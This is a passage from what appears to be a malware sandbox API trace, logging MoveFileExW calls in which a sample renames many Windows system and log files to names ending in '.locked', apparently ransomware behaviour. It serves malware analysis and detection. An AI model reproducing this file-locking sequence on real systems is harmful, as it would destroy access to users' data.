lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\Strings.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\strings.xml.locked"), dwFlags=0x2) returned 1 [0222.584] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\UiInfo.xml" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\uiinfo.xml"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\UiInfo.xml.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\uiinfo.xml.locked"), dwFlags=0x2) returned 1 [0222.701] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\watermark.bmp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\watermark.bmp"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SetupCache\\v4.6.00081\\watermark.bmp.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\setupcache\\v4.6.00081\\watermark.bmp.locked"), dwFlags=0x2) returned 1 [0222.707] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe.config.locked"), dwFlags=0x2) returned 1 [0222.721] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderlogic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderLogic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderlogic.sql.locked"), dwFlags=0x2) returned 1 [0222.725] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderschema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlPersistenceProviderSchema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlpersistenceproviderschema.sql.locked"), dwFlags=0x2) returned 1 [0222.734] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestorelogic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreLogic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestorelogic.sql.locked"), dwFlags=0x2) returned 1 [0222.740] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestoreschema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\DropSqlWorkflowInstanceStoreSchema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\dropsqlworkflowinstancestoreschema.sql.locked"), dwFlags=0x2) returned 1 [0222.750] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceproviderlogic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderLogic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceproviderlogic.sql.locked"), dwFlags=0x2) returned 1 [0222.754] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceproviderschema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceProviderSchema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceproviderschema.sql.locked"), dwFlags=0x2) returned 1 [0222.779] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceservice_logic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Logic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceservice_logic.sql.locked"), dwFlags=0x2) returned 1 [0222.802] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceservice_schema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlPersistenceService_Schema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlpersistenceservice_schema.sql.locked"), dwFlags=0x2) returned 1 [0222.903] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreLogic.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlworkflowinstancestorelogic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreLogic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlworkflowinstancestorelogic.sql.locked"), dwFlags=0x2) returned 1 [0223.097] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchema.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschema.sql.locked"), dwFlags=0x2) returned 1 [0223.175] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchemaUpgrade.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschemaupgrade.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\SqlWorkflowInstanceStoreSchemaUpgrade.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\sqlworkflowinstancestoreschemaupgrade.sql.locked"), dwFlags=0x2) returned 1 [0223.555] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\Tracking_Logic.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\tracking_logic.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\Tracking_Logic.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\tracking_logic.sql.locked"), dwFlags=0x2) returned 1 [0223.605] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\Tracking_Schema.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\tracking_schema.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SQL\\en\\Tracking_Schema.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sql\\en\\tracking_schema.sql.locked"), dwFlags=0x2) returned 1 [0223.655] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ThirdPartyNotices.txt" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\thirdpartynotices.txt"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ThirdPartyNotices.txt.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\thirdpartynotices.txt.locked"), dwFlags=0x2) returned 1 [0223.661] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallCommon.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallcommon.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallCommon.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallcommon.sql.locked"), dwFlags=0x2) returned 1 [0223.671] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallMembership.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallmembership.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallMembership.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallmembership.sql.locked"), dwFlags=0x2) returned 1 [0223.683] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallPersistSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallpersistsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallPersistSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallpersistsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0223.693] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallPersonalization.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallpersonalization.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallPersonalization.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallpersonalization.sql.locked"), dwFlags=0x2) returned 1 [0223.702] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallRoles.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallroles.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallRoles.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallroles.sql.locked"), dwFlags=0x2) returned 1 [0223.714] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallSqlState.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallsqlstate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallSqlState.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallsqlstate.sql.locked"), dwFlags=0x2) returned 1 [0223.728] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallSqlStateTemplate.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallsqlstatetemplate.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallSqlStateTemplate.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallsqlstatetemplate.sql.locked"), dwFlags=0x2) returned 1 [0223.734] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallWebEventSqlProvider.sql" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallwebeventsqlprovider.sql"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\UninstallWebEventSqlProvider.sql.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\uninstallwebeventsqlprovider.sql.locked"), dwFlags=0x2) returned 1 [0223.736] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\vbc.exe.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\vbc.exe.config"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\vbc.exe.config.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\vbc.exe.config.locked"), dwFlags=0x2) returned 1 [0223.749] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_DataOracleClientPerfCounters_shared12_neutral.h" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_dataoracleclientperfcounters_shared12_neutral.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_DataOracleClientPerfCounters_shared12_neutral.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_dataoracleclientperfcounters_shared12_neutral.h.locked"), dwFlags=0x2) returned 1 [0223.753] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_DataPerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_dataperfcounters.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_DataPerfCounters.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_dataperfcounters.h.locked"), dwFlags=0x2) returned 1 [0223.758] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_dataperfcounters_shared12_neutral.h" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_dataperfcounters_shared12_neutral.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_dataperfcounters_shared12_neutral.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_dataperfcounters_shared12_neutral.h.locked"), dwFlags=0x2) returned 1 [0223.762] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_NetworkingPerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_networkingperfcounters.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_NetworkingPerfCounters.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_networkingperfcounters.h.locked"), dwFlags=0x2) returned 1 [0223.766] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_NetworkingPerfCounters_v2.h" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_networkingperfcounters_v2.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_NetworkingPerfCounters_v2.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_networkingperfcounters_v2.h.locked"), dwFlags=0x2) returned 1 [0223.770] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_SMSvcHostPerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_smsvchostperfcounters.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_SMSvcHostPerfCounters.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_smsvchostperfcounters.h.locked"), dwFlags=0x2) returned 1 [0223.775] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_TransactionBridgePerfCounters.h" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_transactionbridgeperfcounters.h"), lpNewFileName="C:\\\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\_TransactionBridgePerfCounters.h.locked" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\_transactionbridgeperfcounters.h.locked"), dwFlags=0x2) returned 1 [0223.829] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Panther\\cbs.log" (normalized: "c:\\windows\\panther\\cbs.log"), lpNewFileName="C:\\\\Windows\\Panther\\cbs.log.locked" (normalized: "c:\\windows\\panther\\cbs.log.locked"), dwFlags=0x2) returned 1 [0223.869] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Panther\\cbs_unattend.log" (normalized: "c:\\windows\\panther\\cbs_unattend.log"), lpNewFileName="C:\\\\Windows\\Panther\\cbs_unattend.log.locked" (normalized: "c:\\windows\\panther\\cbs_unattend.log.locked"), dwFlags=0x2) returned 1 [0223.872] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Panther\\DDACLSys.log" (normalized: "c:\\windows\\panther\\ddaclsys.log"), lpNewFileName="C:\\\\Windows\\Panther\\DDACLSys.log.locked" (normalized: "c:\\windows\\panther\\ddaclsys.log.locked"), dwFlags=0x2) returned 1 [0223.888] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Panther\\diagerr.xml" (normalized: "c:\\windows\\panther\\diagerr.xml"), lpNewFileName="C:\\\\Windows\\Panther\\diagerr.xml.locked" (normalized: "c:\\windows\\panther\\diagerr.xml.locked"), dwFlags=0x2) returned 1 [0223.901] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Panther\\diagwrn.xml" (normalized: "c:\\windows\\panther\\diagwrn.xml"), lpNewFileName="C:\\\\Windows\\Panther\\diagwrn.xml.locked" (normalized: "c:\\windows\\panther\\diagwrn.xml.locked"), dwFlags=0x2) returned 1 [0224.382] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Panther\\setupact.log" (normalized: "c:\\windows\\panther\\setupact.log"), lpNewFileName="C:\\\\Windows\\Panther\\setupact.log.locked" (normalized: "c:\\windows\\panther\\setupact.log.locked"), dwFlags=0x2) returned 1 [0224.385] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Panther\\setuperr.log" (normalized: "c:\\windows\\panther\\setuperr.log"), lpNewFileName="C:\\\\Windows\\Panther\\setuperr.log.locked" (normalized: "c:\\windows\\panther\\setuperr.log.locked"), dwFlags=0x2) returned 1 [0224.395] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Panther\\unattend.xml" (normalized: "c:\\windows\\panther\\unattend.xml"), lpNewFileName="C:\\\\Windows\\Panther\\unattend.xml.locked" (normalized: "c:\\windows\\panther\\unattend.xml.locked"), dwFlags=0x2) returned 1 [0224.403] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Panther\\UnattendGC\\diagerr.xml" (normalized: "c:\\windows\\panther\\unattendgc\\diagerr.xml"), lpNewFileName="C:\\\\Windows\\Panther\\UnattendGC\\diagerr.xml.locked" (normalized: "c:\\windows\\panther\\unattendgc\\diagerr.xml.locked"), dwFlags=0x2) returned 1 [0224.410] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Panther\\UnattendGC\\diagwrn.xml" (normalized: "c:\\windows\\panther\\unattendgc\\diagwrn.xml"), lpNewFileName="C:\\\\Windows\\Panther\\UnattendGC\\diagwrn.xml.locked" (normalized: "c:\\windows\\panther\\unattendgc\\diagwrn.xml.locked"), dwFlags=0x2) returned 1 [0224.435] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Panther\\UnattendGC\\setupact.log" (normalized: "c:\\windows\\panther\\unattendgc\\setupact.log"), lpNewFileName="C:\\\\Windows\\Panther\\UnattendGC\\setupact.log.locked" (normalized: "c:\\windows\\panther\\unattendgc\\setupact.log.locked"), dwFlags=0x2) returned 1 [0224.436] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Panther\\UnattendGC\\setuperr.log" (normalized: "c:\\windows\\panther\\unattendgc\\setuperr.log"), lpNewFileName="C:\\\\Windows\\Panther\\UnattendGC\\setuperr.log.locked" (normalized: "c:\\windows\\panther\\unattendgc\\setuperr.log.locked"), dwFlags=0x2) returned 1 [0224.460] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-06-05 11.35.50.281 DWM.Assessment (Initial).WinSAT.xml" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-06-05 11.35.50.281 dwm.assessment (initial).winsat.xml"), lpNewFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-06-05 11.35.50.281 DWM.Assessment (Initial).WinSAT.xml.locked" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-06-05 11.35.50.281 dwm.assessment (initial).winsat.xml.locked"), dwFlags=0x2) returned 1 [0224.489] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-07-12 20.06.35.378 Cpu.Assessment (Initial).WinSAT.xml" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-07-12 20.06.35.378 cpu.assessment (initial).winsat.xml"), lpNewFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-07-12 20.06.35.378 Cpu.Assessment (Initial).WinSAT.xml.locked" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-07-12 20.06.35.378 cpu.assessment (initial).winsat.xml.locked"), dwFlags=0x2) returned 1 [0224.534] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-07-12 20.06.35.378 Disk.Assessment (Initial).WinSAT.xml" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-07-12 20.06.35.378 disk.assessment (initial).winsat.xml"), lpNewFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-07-12 20.06.35.378 Disk.Assessment (Initial).WinSAT.xml.locked" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-07-12 20.06.35.378 disk.assessment (initial).winsat.xml.locked"), dwFlags=0x2) returned 1 [0224.577] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-07-12 20.06.35.378 Graphics3D.Assessment (Initial).WinSAT.xml" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-07-12 20.06.35.378 graphics3d.assessment (initial).winsat.xml"), lpNewFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-07-12 20.06.35.378 Graphics3D.Assessment (Initial).WinSAT.xml.locked" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-07-12 20.06.35.378 graphics3d.assessment (initial).winsat.xml.locked"), dwFlags=0x2) returned 1 [0224.591] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-07-12 20.06.35.378 GraphicsMedia.Assessment (Initial).WinSAT.xml" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-07-12 20.06.35.378 graphicsmedia.assessment (initial).winsat.xml"), lpNewFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-07-12 20.06.35.378 GraphicsMedia.Assessment (Initial).WinSAT.xml.locked" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-07-12 20.06.35.378 graphicsmedia.assessment (initial).winsat.xml.locked"), dwFlags=0x2) returned 1 [0224.603] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-07-12 20.06.35.378 Mem.Assessment (Initial).WinSAT.xml" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-07-12 20.06.35.378 mem.assessment (initial).winsat.xml"), lpNewFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-07-12 20.06.35.378 Mem.Assessment (Initial).WinSAT.xml.locked" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-07-12 20.06.35.378 mem.assessment (initial).winsat.xml.locked"), dwFlags=0x2) returned 1 [0224.721] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-07-12 20.24.11.126 Formal.Assessment (Initial).WinSAT.xml" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-07-12 20.24.11.126 formal.assessment (initial).winsat.xml"), lpNewFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2017-07-12 20.24.11.126 Formal.Assessment (Initial).WinSAT.xml.locked" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2017-07-12 20.24.11.126 formal.assessment (initial).winsat.xml.locked"), dwFlags=0x2) returned 1 [0224.752] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2018-07-20 12.08.43.730 Cpu.Assessment (Recent).WinSAT.xml" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2018-07-20 12.08.43.730 cpu.assessment (recent).winsat.xml"), lpNewFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2018-07-20 12.08.43.730 Cpu.Assessment (Recent).WinSAT.xml.locked" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2018-07-20 12.08.43.730 cpu.assessment (recent).winsat.xml.locked"), dwFlags=0x2) returned 1 [0225.025] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2018-07-20 12.09.57.315 Formal.Assessment (Recent).WinSAT.xml" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2018-07-20 12.09.57.315 formal.assessment (recent).winsat.xml"), lpNewFileName="C:\\\\Windows\\Performance\\WinSAT\\DataStore\\2018-07-20 12.09.57.315 Formal.Assessment (Recent).WinSAT.xml.locked" (normalized: "c:\\windows\\performance\\winsat\\datastore\\2018-07-20 12.09.57.315 formal.assessment (recent).winsat.xml.locked"), dwFlags=0x2) returned 1 [0225.071] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Performance\\WinSAT\\winsat.log" (normalized: "c:\\windows\\performance\\winsat\\winsat.log"), lpNewFileName="C:\\\\Windows\\Performance\\WinSAT\\winsat.log.locked" (normalized: "c:\\windows\\performance\\winsat\\winsat.log.locked"), dwFlags=0x2) returned 1 [0225.098] MoveFileExW (lpExistingFileName="C:\\\\Windows\\PFRO.log" (normalized: "c:\\windows\\pfro.log"), lpNewFileName="C:\\\\Windows\\PFRO.log.locked" (normalized: "c:\\windows\\pfro.log.locked"), dwFlags=0x2) returned 1 [0225.475] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Prefetch\\AgAppLaunch.db" (normalized: "c:\\windows\\prefetch\\agapplaunch.db"), lpNewFileName="C:\\\\Windows\\Prefetch\\AgAppLaunch.db.locked" (normalized: "c:\\windows\\prefetch\\agapplaunch.db.locked"), dwFlags=0x2) returned 1 [0226.025] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Prefetch\\AgGlFaultHistory.db" (normalized: "c:\\windows\\prefetch\\agglfaulthistory.db"), lpNewFileName="C:\\\\Windows\\Prefetch\\AgGlFaultHistory.db.locked" (normalized: "c:\\windows\\prefetch\\agglfaulthistory.db.locked"), dwFlags=0x2) returned 1 [0226.519] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Prefetch\\AgGlFgAppHistory.db" (normalized: "c:\\windows\\prefetch\\agglfgapphistory.db"), lpNewFileName="C:\\\\Windows\\Prefetch\\AgGlFgAppHistory.db.locked" (normalized: "c:\\windows\\prefetch\\agglfgapphistory.db.locked"), dwFlags=0x2) returned 1 [0227.108] MoveFileExW (lpExistingFileName="C:\\\\Windows\\Prefetch\\AgGlGlobalHistory.db" (normalized: "c:\\windows\\prefetch\\agglglobalhistory.db"), lpNewFileName="C:\\\\Windows\\Prefetch\\AgGlGlobalHistory.db.locked" (normalized: 